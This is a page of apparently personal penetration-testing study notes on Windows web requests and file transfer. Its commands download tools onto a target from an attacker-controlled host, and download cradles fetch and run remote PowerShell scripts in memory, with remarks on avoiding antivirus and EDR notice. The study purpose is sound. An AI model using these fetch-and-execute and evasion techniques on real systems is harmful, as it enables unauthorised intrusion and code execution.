Requests and Transfer
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
Invoke-WebRequest sends HTTP requests and reads the response, and Invoke-RestMethod handles JSON
APIs. To pull a tool onto a target, Invoke-WebRequest -OutFile, certutil, and BITS each download a
file, and a download cradle runs a script without touching disk. These are the Windows forms of curl
and wget.
Invoke-WebRequest
Request a page (iwr is the alias):
Invoke-WebRequest -Uri http://$TARGET/ -UseBasicParsing # fetch the pagePOST a login form:
Invoke-WebRequest -Uri http://$TARGET/login.php -Method POST -Body @{username='admin';password='admin'} -UseBasicParsingAdd headers and send a cookie:
Invoke-WebRequest -Uri http://$TARGET/admin/ -Headers @{'X-Forwarded-For'='127.0.0.1'} -UseBasicParsing # add a headerInvoke-WebRequest -Uri http://$TARGET/dashboard.php -Headers @{Cookie='PHPSESSID=abc123'} -UseBasicParsing # send a cookieLog in, keep the session cookie, and reuse it:
Invoke-WebRequest -Uri http://$TARGET/login.php -Method POST -Body @{username='admin';password='admin'} -SessionVariable s -UseBasicParsingInvoke-WebRequest -Uri http://$TARGET/dashboard.php -WebSession $s -UseBasicParsing # reuse the sessionRead just the status code:
(Invoke-WebRequest -Uri http://$TARGET/admin/ -UseBasicParsing).StatusCode # status code only| Flag | Meaning |
|---|---|
-Uri |
The URL |
-Method |
GET, POST, PUT, and so on |
-Body |
Request body: a hashtable form-encodes, a string goes as is |
-Headers |
A hashtable of request headers |
-SessionVariable / -WebSession |
Save received cookies, then send them back |
-OutFile |
Write the body to a file |
-UseBasicParsing |
Skip the Internet Explorer DOM parser |
-SkipCertificateCheck |
Accept a self-signed certificate (PowerShell 6 and later) |
-UseBasicParsingmatters on Windows PowerShell 5, whereInvoke-WebRequestotherwise needs the Internet Explorer engine and fails on a server install. PowerShell 7 parses this way by default. In PowerShell 5,curlandwgetare aliases forInvoke-WebRequest, not the real tools. PowerShell 7 drops the aliases, andcurl.exeis the genuine curl.
Invoke-RestMethod
For a JSON API, Invoke-RestMethod parses the response into objects:
Invoke-RestMethod -Uri http://$TARGET/api/login -Method POST -Body (@{username='admin';password='admin'} | ConvertTo-Json) -ContentType 'application/json'It converts a JSON or XML reply straight into a PowerShell object, so (...).token reads a field.
Downloading files
Save a tool to disk:
Invoke-WebRequest -Uri http://10.10.14.20:8000/winPEASx64.exe -OutFile C:\Windows\Temp\p.exe -UseBasicParsingThe common alternatives, useful when AV blocks one or Invoke-WebRequest is slow:
(New-Object Net.WebClient).DownloadFile('http://10.10.14.20:8000/p.exe','C:\Windows\Temp\p.exe') # .NET WebClientcertutil -urlcache -split -f http://10.10.14.20:8000/p.exe C:\Windows\Temp\p.exe # certutil, a signed binaryStart-BitsTransfer -Source http://10.10.14.20:8000/p.exe -Destination C:\Windows\Temp\p.exe # BITS, resumablecurl.exe -o C:\Windows\Temp\p.exe http://10.10.14.20:8000/p.exe # real curl, Windows 10+
Invoke-WebRequest -OutFileis slow on large files because it buffers in memory.Net.WebClientand BITS stream to disk. Windows shipscertutilandcurl.exesigned and built in, so they draw less attention than a PowerShell download, though EDR flags thecertutil -urlcachepattern.
Download cradle
Run a script straight from your HTTP server, with no copy on disk:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.20:8000/PowerUp.ps1') # fetch and run in memoryiex (iwr http://10.10.14.20:8000/PowerUp.ps1 -UseBasicParsing) # same, shorterThe session runs whatever the server returns. Use this only with a server you control. It leaves no file for AV to scan, which is why it is the usual way to run
PowerUpand similar scripts (see Privesc Primer).
File transfer
File transfer has its own section. Start with
Choosing a Method, and the Windows commands are in
Windows Transfers. To read a TLS certificate, openssl on your attack
host is simplest (Requests and Transfer).